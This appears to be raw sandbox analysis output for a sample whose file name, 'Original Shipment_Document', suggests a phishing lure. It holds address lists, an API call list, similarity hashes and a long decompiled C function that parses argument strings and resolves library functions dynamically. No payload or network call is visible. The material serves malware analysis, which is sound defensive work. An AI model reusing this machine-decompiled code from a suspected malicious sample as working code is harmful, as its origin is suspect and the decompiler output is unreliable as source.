0x004058a1
0x004058a6
0x004058a9
0x00000000
0x004058a9
0x00405890
0x004056c9
0x004056cd
0x004056d5
0x004056d9
0x004056dc
0x004056df
0x004056e2
0x004056e5
0x004056e6
0x004056e7
0x00405700
0x00405703
0x0040570d
0x0040571c
0x00405724
0x0040572c
0x00405731
0x00405734
0x00405740
0x00405749
0x00405752
0x00405774
0x0040577a
0x0040578b
0x00405790
0x0040579e
0x004057ac
0x004057ac
0x004057b1
0x004057bf
0x004057bf
0x004057c4
0x004057c7
0x004057cc
0x004057d8
0x004057e1
0x004057ee
0x004057fd
0x004057f0
0x004057f5
0x004057f5
0x00405809
0x00405809
0x0040581d
0x00405826
0x0040582f
0x0040583f
0x0040584b
0x0040584b
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 00405706
GetDlgItem.USER32(?,000003EE), ref: 00405715
GetClientRect.USER32(?,?), ref: 00405752
GetSystemMetrics.USER32(00000002), ref: 00405759
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040577A
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 0040578B
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040579E
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004057AC
SendMessageW.USER32(?,00001024,00000000,?), ref: 004057BF
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004057E1
ShowWindow.USER32(?,00000008), ref: 004057F5
GetDlgItem.USER32(?,000003EC), ref: 00405816
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405826
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040583F
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040584B
GetDlgItem.USER32(?,000003F8), ref: 00405724

Part of subcall function 00404498: SendMessageW.USER32(00000028,?,00000001,004042C3), ref: 004044A6

GetDlgItem.USER32(?,000003EC), ref: 00405868
CreateThread.KERNEL32(00000000,00000000,Function_0000563C,00000000), ref: 00405876
CloseHandle.KERNELBASE(00000000), ref: 0040587D
ShowWindow.USER32(00000000), ref: 004058A1
ShowWindow.USER32(?,00000008), ref: 004058A6
ShowWindow.USER32(00000008), ref: 004058F0
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405924
CreatePopupMenu.USER32 ref: 00405935
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405949
GetWindowRect.USER32(?,?), ref: 00405969
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405982
SendMessageW.USER32(?,00001073,00000000,?), ref: 004059BA
OpenClipboard.USER32(00000000), ref: 004059CA
EmptyClipboard.USER32 ref: 004059D0
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004059DC
GlobalLock.KERNEL32(00000000), ref: 004059E6
SendMessageW.USER32(?,00001073,00000000,?), ref: 004059FA
GlobalUnlock.KERNEL32(00000000), ref: 00405A1A
SetClipboardData.USER32(0000000D,00000000), ref: 00405A25
CloseClipboard.USER32 ref: 00405A2B

Strings

{, xrefs: 0040590E

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: e37d3a1a711473160cce430aacecc677da03cad69d8ceec8fea621233e33ea96
Instruction ID: 5b575598c53da42792c2c30fd658baa27f5e0e9a45260ba980af1f6e758e053f
Opcode Fuzzy Hash: e37d3a1a711473160cce430aacecc677da03cad69d8ceec8fea621233e33ea96
Instruction Fuzzy Hash: 6EB16AB1900609FFEB11AF90DD89AAE7B79FB04354F10803AFA45B61A0CB754E51DF68

Uniqueness

Uniqueness Score: -1.00%

Function 718D1BFF Relevance: 20.1, APIs: 13, Instructions: 597
stringlibrarymemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E718D1BFF() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				WCHAR* _v24;
				WCHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				WCHAR* _v48;
				signed int _v52;
				void* _v56;
				intOrPtr _v60;
				WCHAR* _t208;
				signed int _t211;
				void* _t213;
				void* _t215;
				WCHAR* _t217;
				void* _t225;
				struct HINSTANCE__* _t226;
				struct HINSTANCE__* _t227;
				struct HINSTANCE__* _t229;
				signed short _t231;
				struct HINSTANCE__* _t234;
				struct HINSTANCE__* _t236;
				void* _t237;
				intOrPtr* _t238;
				void* _t249;
				signed char _t250;
				signed int _t251;
				void* _t255;
				struct HINSTANCE__* _t257;
				void* _t258;
				signed int _t260;
				signed int _t261;
				signed short* _t264;
				signed int _t269;
				signed int _t272;
				signed int _t274;
				void* _t277;
				void* _t281;
				struct HINSTANCE__* _t283;
				signed int _t286;
				void _t287;
				signed int _t288;
				signed int _t300;
				signed int _t301;
				signed short _t304;
				void* _t305;
				signed int _t309;
				signed int _t312;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed short* _t321;
				WCHAR* _t322;
				WCHAR* _t324;
				WCHAR* _t325;
				struct HINSTANCE__* _t326;
				void* _t328;
				signed int _t331;
				void* _t332;

				_t283 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v8 = 0;
				_v40 = 0;
				_t332 = 0;
				_v52 = 0;
				_v44 = 0;
				_t208 = E718D12BB();
				_v24 = _t208;
				_v28 = _t208;
				_v48 = E718D12BB();
				_t321 = E718D12E3();
				_v56 = _t321;
				_v12 = _t321;
				while(1) {
					_t211 = _v32;
					_v60 = _t211;
					if(_t211 != _t283 && _t332 == _t283) {
						break;
					}
					_t286 =  *_t321 & 0x0000ffff;
					_t213 = _t286 - _t283;
					if(_t213 == 0) {
						_t37 =  &_v32;
						 *_t37 = _v32 | 0xffffffff;
						__eflags =  *_t37;
						L20:
						_t215 = _v60 - _t283;
						if(_t215 == 0) {
							__eflags = _t332 - _t283;
							 *_v28 = _t283;
							if(_t332 == _t283) {
								_t255 = GlobalAlloc(0x40, 0x1ca4); // executed
								_t332 = _t255;
								 *(_t332 + 0x1010) = _t283;
								 *(_t332 + 0x1014) = _t283;
							}
							_t287 = _v36;
							_t47 = _t332 + 8; // 0x8
							_t217 = _t47;
							_t48 = _t332 + 0x808; // 0x808
							_t322 = _t48;
							 *_t332 = _t287;
							_t288 = _t287 - _t283;
							__eflags = _t288;
							 *_t217 = _t283;
							 *_t322 = _t283;
							 *(_t332 + 0x1008) = _t283;
							 *(_t332 + 0x100c) = _t283;
							 *(_t332 + 4) = _t283;
							if(_t288 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L42;
								}
								_t328 = 0;
								GlobalFree(_t332);
								_t332 = E718D13B1(_v24);
								__eflags = _t332 - _t283;
								if(_t332 == _t283) {
									goto L42;
								} else {
									goto L35;
								}
								while(1) {
									L35:
									_t249 =  *(_t332 + 0x1ca0);
									__eflags = _t249 - _t283;
									if(_t249 == _t283) {
										break;
									}
									_t328 = _t332;
									_t332 = _t249;
									__eflags = _t332 - _t283;
									if(_t332 != _t283) {
										continue;
									}
									break;
								}
								__eflags = _t328 - _t283;
								if(_t328 != _t283) {
									 *(_t328 + 0x1ca0) = _t283;
								}
								_t250 =  *(_t332 + 0x1010);
								__eflags = _t250 & 0x00000008;
								if((_t250 & 0x00000008) == 0) {
									_t251 = _t250 | 0x00000002;
									__eflags = _t251;
									 *(_t332 + 0x1010) = _t251;
								} else {
									_t332 = E718D162F(_t332);
									 *(_t332 + 0x1010) =  *(_t332 + 0x1010) & 0xfffffff5;
								}
								goto L42;
							} else {
								_t300 = _t288 - 1;
								__eflags = _t300;
								if(_t300 == 0) {
									L31:
									lstrcpyW(_t217, _v48);
									L32:
									lstrcpyW(_t322, _v24);
									goto L42;
								}
								_t301 = _t300 - 1;
								__eflags = _t301;
								if(_t301 == 0) {
									goto L32;
								}
								__eflags = _t301 != 1;
								if(_t301 != 1) {
									goto L42;
								}
								goto L31;
							}
						} else {
							if(_t215 == 1) {
								_t257 = _v16;
								if(_v40 == _t283) {
									_t257 = _t257 - 1;
								}
								 *(_t332 + 0x1014) = _t257;
							}
							L42:
							_v12 = _v12 + 2;
							_v28 = _v24;
							L59:
							if(_v32 != 0xffffffff) {
								_t321 = _v12;
								continue;
							}
							break;
						}
					}
					_t258 = _t213 - 0x23;
					if(_t258 == 0) {
						__eflags = _t321 - _v56;
						if(_t321 <= _v56) {
							L17:
							__eflags = _v44 - _t283;
							if(_v44 != _t283) {
								L43:
								_t260 = _v32 - _t283;
								__eflags = _t260;
								if(_t260 == 0) {
									_t261 = _t286;
									while(1) {
										__eflags = _t261 - 0x22;
										if(_t261 != 0x22) {
											break;
										}
										_t321 =  &(_t321[1]);
										__eflags = _v44 - _t283;
										_v12 = _t321;
										if(_v44 == _t283) {
											_v44 = 1;
											L162:
											_v28 =  &(_v28[0]);
											 *_v28 =  *_t321;
											L58:
											_t331 =  &(_t321[1]);
											__eflags = _t331;
											_v12 = _t331;
											goto L59;
										}
										_t261 =  *_t321 & 0x0000ffff;
										_v44 = _t283;
									}
									__eflags = _t261 - 0x2a;
									if(_t261 == 0x2a) {
										_v36 = 2;
										L57:
										_t321 = _v12;
										_v28 = _v24;
										_t283 = 0;
										__eflags = 0;
										goto L58;
									}
									__eflags = _t261 - 0x2d;
									if(_t261 == 0x2d) {
										L151:
										_t304 =  *_t321;
										__eflags = _t304 - 0x2d;
										if(_t304 != 0x2d) {
											L154:
											_t264 =  &(_t321[1]);
											__eflags =  *_t264 - 0x3a;
											if( *_t264 != 0x3a) {
												goto L162;
											}
											__eflags = _t304 - 0x2d;
											if(_t304 == 0x2d) {
												goto L162;
											}
											_v36 = 1;
											L157:
											_v12 = _t264;
											__eflags = _v28 - _v24;
											if(_v28 <= _v24) {
												 *_v48 = _t283;
											} else {
												 *_v28 = _t283;
												lstrcpyW(_v48, _v24);
											}
											goto L57;
										}
										_t264 =  &(_t321[1]);
										__eflags =  *_t264 - 0x3e;
										if( *_t264 != 0x3e) {
											goto L154;
										}
										_v36 = 3;
										goto L157;
									}
									__eflags = _t261 - 0x3a;
									if(_t261 != 0x3a) {
										goto L162;
									}
									goto L151;
								}
								_t269 = _t260 - 1;
								__eflags = _t269;
								if(_t269 == 0) {
									L80:
									_t305 = _t286 + 0xffffffde;
									__eflags = _t305 - 0x55;
									if(_t305 > 0x55) {
										goto L57;
									}
									switch( *((intOrPtr*)(( *(_t305 + 0x718d23e8) & 0x000000ff) * 4 +  &M718D235C))) {
										case 0:
											__ecx = _v24;
											__edi = _v12;
											while(1) {
												__edi = __edi + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__ax =  *__edi;
												__eflags = __ax - __dx;
												if(__ax != __dx) {
													goto L132;
												}
												L131:
												__eflags =  *((intOrPtr*)(__edi + 2)) - __dx;
												if( *((intOrPtr*)(__edi + 2)) != __dx) {
													L136:
													 *__ecx =  *__ecx & 0x00000000;
													__eax = E718D12CC(_v24);
													__ebx = __eax;
													goto L97;
												}
												L132:
												__eflags = __ax;
												if(__ax == 0) {
													goto L136;
												}
												__eflags = __ax - __dx;
												if(__ax == __dx) {
													__edi = __edi + 1;
													__edi = __edi + 1;
													__eflags = __edi;
												}
												__ax =  *__edi;
												 *__ecx =  *__edi;
												__ecx = __ecx + 1;
												__ecx = __ecx + 1;
												__edi = __edi + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__ax =  *__edi;
												__eflags = __ax - __dx;
												if(__ax != __dx) {
													goto L132;
												}
												goto L131;
											}
										case 1:
											_v8 = 1;
											goto L57;
										case 2:
											_v8 = _v8 | 0xffffffff;
											goto L57;
										case 3:
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v16 = _v16 + 1;
											goto L85;
										case 4:
											__eflags = _v20;
											if(_v20 != 0) {
												goto L57;
											}
											_v12 = _v12 - 2;
											__ebx = E718D12BB();
											 &_v12 = E718D1B86( &_v12);
											__eax = E718D1510(__edx, __eax, __edx, __ebx);
											goto L97;
										case 5:
											L105:
											_v20 = _v20 + 1;
											goto L57;
										case 6:
											_push(7);
											goto L123;
										case 7:
											_push(0x19);
											goto L143;
										case 8:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L107;
										case 9:
											_push(0x15);
											goto L143;
										case 0xa:
											_push(0x16);
											goto L143;
										case 0xb:
											_push(0x18);
											goto L143;
										case 0xc:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L118;
										case 0xd:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L109;
										case 0xe:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L111;
										case 0xf:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L122;
										case 0x10:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L113;
										case 0x11:
											_push(3);
											goto L123;
										case 0x12:
											_push(0x17);
											L143:
											_pop(__ebx);
											goto L98;
										case 0x13:
											__eax =  &_v12;
											__eax = E718D1B86( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											__eflags = __ebx - 0xb;
											if(__ebx < 0xb) {
												__ebx = __ebx + 0xa;
											}
											goto L97;
										case 0x14:
											__ebx = 0xffffffff;
											goto L98;
										case 0x15:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L116;
										case 0x16:
											__ecx = 0;
											__eflags = 0;
											goto L91;
										case 0x17:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L120;
										case 0x18:
											_t271 =  *(_t332 + 0x1014);
											__eflags = _t271 - _v16;
											if(_t271 > _v16) {
												_v16 = _t271;
											}
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v36 - 3 = _t271 - (_v36 == 3);
											if(_t271 != _v36 == 3) {
												L85:
												_v40 = 1;
											}
											goto L57;
										case 0x19:
											L107:
											__ecx = 0;
											_v8 = 2;
											__ecx = 1;
											goto L91;
										case 0x1a:
											L118:
											_push(5);
											goto L123;
										case 0x1b:
											L109:
											__ecx = 0;
											_v8 = 3;
											__ecx = 1;
											goto L91;
										case 0x1c:
											L111:
											__ecx = 0;
											__ecx = 1;
											goto L91;
										case 0x1d:
											L122:
											_push(6);
											goto L123;
										case 0x1e:
											L113:
											_push(2);
											goto L123;
										case 0x1f:
											__eax =  &_v12;
											__eax = E718D1B86( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											goto L97;
										case 0x20:
											L116:
											_v52 = _v52 + 1;
											_push(4);
											_pop(__ecx);
											goto L91;
										case 0x21:
											L120:
											_push(4);
											L123:
											_pop(__ecx);
											L91:
											__edi = _v16;
											__edx =  *(0x718d405c + __ecx * 4);
											__eax =  ~__eax;
											asm("sbb eax, eax");
											_v40 = 1;
											__edi = _v16 << 5;
											__eax = __eax & 0x00008000;
											__edi = (_v16 << 5) + __esi;
											__eax = __eax | __ecx;
											__eflags = _v8;
											 *(__edi + 0x1018) = __eax;
											if(_v8 < 0) {
												L93:
												__edx = 0;
												__edx = 1;
												__eflags = 1;
												L94:
												__eflags = _v8 - 1;
												 *(__edi + 0x1028) = __edx;
												if(_v8 == 1) {
													__eax =  &_v12;
													__eax = E718D1B86( &_v12);
													__eax = __eax + 1;
													__eflags = __eax;
													_v8 = __eax;
												}
												__eax = _v8;
												 *((intOrPtr*)(__edi + 0x101c)) = _v8;
												_t136 = _v16 + 0x81; // 0x81
												_t136 = _t136 << 5;
												__eax = 0;
												__eflags = 0;
												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
												 *((intOrPtr*)(__edi + 0x1030)) = 0;
												 *((intOrPtr*)(__edi + 0x102c)) = 0;
												L97:
												__eflags = __ebx;
												if(__ebx == 0) {
													goto L57;
												}
												L98:
												__eflags = _v20;
												_v40 = 1;
												if(_v20 != 0) {
													L103:
													__eflags = _v20 - 1;
													if(_v20 == 1) {
														__eax = _v16;
														__eax = _v16 << 5;
														__eflags = __eax;
														 *(__eax + __esi + 0x102c) = __ebx;
													}
													goto L105;
												}
												_v16 = _v16 << 5;
												_t144 = __esi + 0x1030; // 0x1030
												__edi = (_v16 << 5) + _t144;
												__eax =  *__edi;
												__eflags = __eax - 0xffffffff;
												if(__eax <= 0xffffffff) {
													L101:
													__eax = GlobalFree(__eax);
													L102:
													 *__edi = __ebx;
													goto L103;
												}
												__eflags = __eax - 0x19;
												if(__eax <= 0x19) {
													goto L102;
												}
												goto L101;
											}
											__eflags = __edx;
											if(__edx > 0) {
												goto L94;
											}
											goto L93;
										case 0x22:
											goto L57;
									}
								}
								_t272 = _t269 - 1;
								__eflags = _t272;
								if(_t272 == 0) {
									_v16 = _t283;
									goto L80;
								}
								__eflags = _t272 != 1;
								if(_t272 != 1) {
									goto L162;
								}
								__eflags = _t286 - 0x6e;
								if(__eflags > 0) {
									_t309 = _t286 - 0x72;
									__eflags = _t309;
									if(_t309 == 0) {
										_push(4);
										L74:
										_pop(_t274);
										L75:
										__eflags = _v8 - 1;
										if(_v8 != 1) {
											_t96 = _t332 + 0x1010;
											 *_t96 =  *(_t332 + 0x1010) &  !_t274;
											__eflags =  *_t96;
										} else {
											 *(_t332 + 0x1010) =  *(_t332 + 0x1010) | _t274;
										}
										_v8 = 1;
										goto L57;
									}
									_t312 = _t309 - 1;
									__eflags = _t312;
									if(_t312 == 0) {
										_push(0x10);
										goto L74;
									}
									__eflags = _t312 != 0;
									if(_t312 != 0) {
										goto L57;
									}
									_push(0x40);
									goto L74;
								}
								if(__eflags == 0) {
									_push(8);
									goto L74;
								}
								_t315 = _t286 - 0x21;
								__eflags = _t315;
								if(_t315 == 0) {
									_v8 =  ~_v8;
									goto L57;
								}
								_t316 = _t315 - 0x11;
								__eflags = _t316;
								if(_t316 == 0) {
									_t274 = 0x100;
									goto L75;
								}
								_t317 = _t316 - 0x31;
								__eflags = _t317;
								if(_t317 == 0) {
									_t274 = 1;
									goto L75;
								}
								__eflags = _t317 != 0;
								if(_t317 != 0) {
									goto L57;
								}
								_push(0x20);
								goto L74;
							} else {
								_v32 = _t283;
								_v36 = _t283;
								goto L20;
							}
						}
						__eflags =  *((short*)(_t321 - 2)) - 0x3a;
						if( *((short*)(_t321 - 2)) != 0x3a) {
							goto L17;
						}
						__eflags = _v32 - _t283;
						if(_v32 == _t283) {
							goto L43;
						}
						goto L17;
					}
					_t277 = _t258 - 5;
					if(_t277 == 0) {
						__eflags = _v44 - _t283;
						if(_v44 != _t283) {
							goto L43;
						} else {
							__eflags = _v36 - 3;
							_v32 = 1;
							_v8 = _t283;
							_v20 = _t283;
							_v16 = (0 | _v36 == 0x00000003) + 1;
							_v40 = _t283;
							goto L20;
						}
					}
					_t281 = _t277 - 1;
					if(_t281 == 0) {
						__eflags = _v44 - _t283;
						if(_v44 != _t283) {
							goto L43;
						} else {
							_v32 = 2;
							_v8 = _t283;
							_v20 = _t283;
							goto L20;
						}
					}
					if(_t281 != 0x16) {
						goto L43;
					} else {
						_v32 = 3;
						_v8 = 1;
						goto L20;
					}
				}
				GlobalFree(_v56);
				GlobalFree(_v24);
				GlobalFree(_v48);
				if(_t332 == _t283 ||  *(_t332 + 0x100c) != _t283) {
					L182:
					return _t332;
				} else {
					_t225 =  *_t332 - 1;
					if(_t225 == 0) {
						_t187 = _t332 + 8; // 0x8
						_t324 = _t187;
						__eflags =  *_t324 - _t283;
						if( *_t324 != _t283) {
							_t226 = GetModuleHandleW(_t324);
							__eflags = _t226 - _t283;
							 *(_t332 + 0x1008) = _t226;
							if(_t226 != _t283) {
								L171:
								_t192 = _t332 + 0x808; // 0x808
								_t325 = _t192;
								_t227 = E718D16BD( *(_t332 + 0x1008), _t325);
								__eflags = _t227 - _t283;
								 *(_t332 + 0x100c) = _t227;
								if(_t227 == _t283) {
									__eflags =  *_t325 - 0x23;
									if( *_t325 == 0x23) {
										_t195 = _t332 + 0x80a; // 0x80a
										_t231 = E718D13B1(_t195);
										__eflags = _t231 - _t283;
										if(_t231 != _t283) {
											__eflags = _t231 & 0xffff0000;
											if((_t231 & 0xffff0000) == 0) {
												 *(_t332 + 0x100c) = GetProcAddress( *(_t332 + 0x1008), _t231 & 0x0000ffff);
											}
										}
									}
								}
								__eflags = _v52 - _t283;
								if(_v52 != _t283) {
									L178:
									_t325[lstrlenW(_t325)] = 0x57;
									_t229 = E718D16BD( *(_t332 + 0x1008), _t325);
									__eflags = _t229 - _t283;
									if(_t229 != _t283) {
										L166:
										 *(_t332 + 0x100c) = _t229;
										goto L182;
									}
									__eflags =  *(_t332 + 0x100c) - _t283;
									L180:
									if(__eflags != 0) {
										goto L182;
									}
									L181:
									_t206 = _t332 + 4;
									 *_t206 =  *(_t332 + 4) | 0xffffffff;
									__eflags =  *_t206;
									goto L182;
								} else {
									__eflags =  *(_t332 + 0x100c) - _t283;
									if( *(_t332 + 0x100c) != _t283) {
										goto L182;
									}
									goto L178;
								}
							}
							_t234 = LoadLibraryW(_t324);
							__eflags = _t234 - _t283;
							 *(_t332 + 0x1008) = _t234;
							if(_t234 == _t283) {
								goto L181;
							}
							goto L171;
						}
						_t188 = _t332 + 0x808; // 0x808
						_t236 = E718D13B1(_t188);
						 *(_t332 + 0x100c) = _t236;
						__eflags = _t236 - _t283;
						goto L180;
					}
					_t237 = _t225 - 1;
					if(_t237 == 0) {
						_t185 = _t332 + 0x808; // 0x808
						_t238 = _t185;
						__eflags =  *_t238 - _t283;
						if( *_t238 == _t283) {
							goto L182;
						}
						_t229 = E718D13B1(_t238);
						L165:
						goto L166;
					}
					if(_t237 != 1) {
						goto L182;
					}
					_t81 = _t332 + 8; // 0x8
					_t284 = _t81;
					_t326 = E718D13B1(_t81);
					 *(_t332 + 0x1008) = _t326;
					if(_t326 == 0) {
						goto L181;
					}
					 *(_t332 + 0x104c) =  *(_t332 + 0x104c) & 0x00000000;
					 *((intOrPtr*)(_t332 + 0x1050)) = E718D12CC(_t284);
					 *(_t332 + 0x103c) =  *(_t332 + 0x103c) & 0x00000000;
					 *((intOrPtr*)(_t332 + 0x1048)) = 1;
					 *((intOrPtr*)(_t332 + 0x1038)) = 1;
					_t90 = _t332 + 0x808; // 0x808
					_t229 =  *(_t326->i + E718D13B1(_t90) * 4);
					goto L165;
				}
			}

0x718d1c07
0x718d1c0a
0x718d1c0d
0x718d1c10
0x718d1c13
0x718d1c16
0x718d1c19
0x718d1c1b
0x718d1c1e
0x718d1c21
0x718d1c26
0x718d1c29
0x718d1c31
0x718d1c39
0x718d1c3b
0x718d1c3e
0x718d1c46
0x718d1c46
0x718d1c4b
0x718d1c4e
0x00000000
0x00000000
0x718d1c5b
0x718d1c60
0x718d1c62
0x718d1cf4
0x718d1cf4
0x718d1cf4
0x718d1cf8
0x718d1cfb
0x718d1cfd
0x718d1d1f
0x718d1d21
0x718d1d24
0x718d1d2d
0x718d1d33
0x718d1d35
0x718d1d3b
0x718d1d3b
0x718d1d41
0x718d1d44
0x718d1d44
0x718d1d47
0x718d1d47
0x718d1d4d
0x718d1d4f
0x718d1d4f
0x718d1d51
0x718d1d54
0x718d1d57
0x718d1d5d
0x718d1d63
0x718d1d66
0x718d1d8a
0x718d1d8d
0x00000000
0x00000000
0x718d1d90
0x718d1d92
0x718d1da0
0x718d1da3
0x718d1da5
0x00000000
0x00000000
0x00000000
0x00000000
0x718d1da7
0x718d1da7
0x718d1da7
0x718d1dad
0x718d1daf
0x00000000
0x00000000
0x718d1db1
0x718d1db3
0x718d1db5
0x718d1db7
0x00000000
0x00000000
0x00000000
0x718d1db7
0x718d1db9
0x718d1dbb
0x718d1dbd
0x718d1dbd
0x718d1dc3
0x718d1dc9
0x718d1dcb
0x718d1ddf
0x718d1ddf
0x718d1de1
0x718d1dcd
0x718d1dd3
0x718d1dd6
0x718d1dd6
0x00000000
0x718d1d68
0x718d1d68
0x718d1d68
0x718d1d69
0x718d1d71
0x718d1d75
0x718d1d7b
0x718d1d7f
0x00000000
0x718d1d7f
0x718d1d6b
0x718d1d6b
0x718d1d6c
0x00000000
0x00000000
0x718d1d6e
0x718d1d6f
0x00000000
0x00000000
0x00000000
0x718d1d6f
0x718d1cff
0x718d1d00
0x718d1d09
0x718d1d0c
0x718d1d19
0x718d1d19
0x718d1d0e
0x718d1d0e
0x718d1de7
0x718d1dea
0x718d1dee
0x718d1e61
0x718d1e65
0x718d1c43
0x00000000
0x718d1c43
0x00000000
0x718d1e65
0x718d1cfd
0x718d1c68
0x718d1c6b
0x718d1cce
0x718d1cd1
0x718d1ce3
0x718d1ce3
0x718d1ce6
0x718d1df3
0x718d1df6
0x718d1df6
0x718d1df8
0x718d21ae
0x718d21c6
0x718d21c6
0x718d21c9
0x00000000
0x00000000
0x718d21b3
0x718d21b4
0x718d21b7
0x718d21ba
0x718d2244
0x718d224b
0x718d2251
0x718d2255
0x718d1e5c
0x718d1e5d
0x718d1e5d
0x718d1e5e
0x00000000
0x718d1e5e
0x718d21c0
0x718d21c3
0x718d21c3
0x718d21cb
0x718d21ce
0x718d2238
0x718d1e51
0x718d1e54
0x718d1e57
0x718d1e5a
0x718d1e5a
0x00000000
0x718d1e5a
0x718d21d0
0x718d21d3
0x718d21da
0x718d21da
0x718d21dd
0x718d21e1
0x718d21f5
0x718d21f5
0x718d21f8
0x718d21fc
0x00000000
0x00000000
0x718d21fe
0x718d2202
0x00000000
0x00000000
0x718d2204
0x718d220b
0x718d220b
0x718d2211
0x718d2214
0x718d2230
0x718d2216
0x718d221f
0x718d2222
0x718d2222
0x00000000
0x718d2214
0x718d21e3
0x718d21e6
0x718d21ea
0x00000000
0x00000000
0x718d21ec
0x00000000
0x718d21ec
0x718d21d5
0x718d21d8
0x00000000
0x00000000
0x00000000
0x718d21d8
0x718d1dfe
0x718d1dfe
0x718d1dff
0x718d1f49
0x718d1f49
0x718d1f50
0x718d1f53
0x00000000
0x00000000
0x718d1f60
0x00000000
0x718d214b
0x718d214e
0x718d2151
0x718d2151
0x718d2152
0x718d2153
0x718d2156
0x718d2159
0x718d215c
0x00000000
0x00000000
0x718d215e
0x718d215e
0x718d2162
0x718d217a
0x718d217d
0x718d2181
0x718d2187
0x00000000
0x718d2187
0x718d2164
0x718d2164
0x718d2167
0x00000000
0x00000000
0x718d2169
0x718d216c
0x718d216e
0x718d216f
0x718d216f
0x718d216f
0x718d2170
0x718d2173
0x718d2176
0x718d2177
0x718d2151
0x718d2152
0x718d2153
0x718d2156
0x718d2159
0x718d215c
0x00000000
0x00000000
0x00000000
0x718d215c
0x00000000
0x718d1fa7
0x00000000
0x00000000
0x718d1fb3
0x00000000
0x00000000
0x718d1f9a
0x718d1f9e
0x718d1fa2
0x00000000
0x00000000
0x718d211c
0x718d2120
0x00000000
0x00000000
0x718d2126
0x718d212f
0x718d2136
0x718d213e
0x00000000
0x00000000
0x718d2083
0x718d2083
0x00000000
0x00000000
0x718d1fbc
0x00000000
0x00000000
0x718d21a6
0x00000000
0x00000000
0x718d208b
0x718d208d
0x718d208d
0x00000000
0x00000000
0x718d2196
0x00000000
0x00000000
0x718d219a
0x00000000
0x00000000
0x718d21a2
0x00000000
0x00000000
0x718d20d3
0x718d20d5
0x718d20d5
0x00000000
0x00000000
0x718d209d
0x718d209f
0x718d209f
0x00000000
0x00000000
0x718d20af
0x718d20b1
0x718d20b1
0x00000000
0x00000000
0x718d20e1
0x718d20e3
0x718d20e3
0x00000000
0x00000000
0x718d20ba
0x718d20bc
0x718d20bc
0x00000000
0x00000000
0x718d20c1
0x00000000
0x00000000
0x718d219e
0x718d21a8
0x718d21a8
0x00000000
0x00000000
0x718d20ec
0x718d20f0
0x718d20f5
0x718d20f8
0x718d20f9
0x718d20fc
0x718d2102
0x718d2102
0x00000000
0x00000000
0x718d218e
0x00000000
0x00000000
0x718d20c5
0x718d20c7
0x718d20c7
0x00000000
0x00000000
0x718d1fc3
0x718d1fc3
0x00000000
0x00000000
0x718d20da
0x718d20dc
0x718d20dc
0x00000000
0x00000000
0x718d1f67
0x718d1f6d
0x718d1f70
0x718d1f72
0x718d1f72
0x718d1f75
0x718d1f79
0x718d1f86
0x718d1f88
0x718d1f8e
0x718d1f8e
0x718d1f8e
0x00000000
0x00000000
0x718d208e
0x718d208e
0x718d2090
0x718d2097
0x00000000
0x00000000
0x718d20d6
0x718d20d6
0x00000000
0x00000000
0x718d20a0
0x718d20a0
0x718d20a2
0x718d20a9
0x00000000
0x00000000
0x718d20b2
0x718d20b2
0x718d20b4
0x00000000
0x00000000
0x718d20e4
0x718d20e4
0x00000000
0x00000000
0x718d20bd
0x718d20bd
0x00000000
0x00000000
0x718d210a
0x718d210e
0x718d2113
0x718d2116
0x00000000
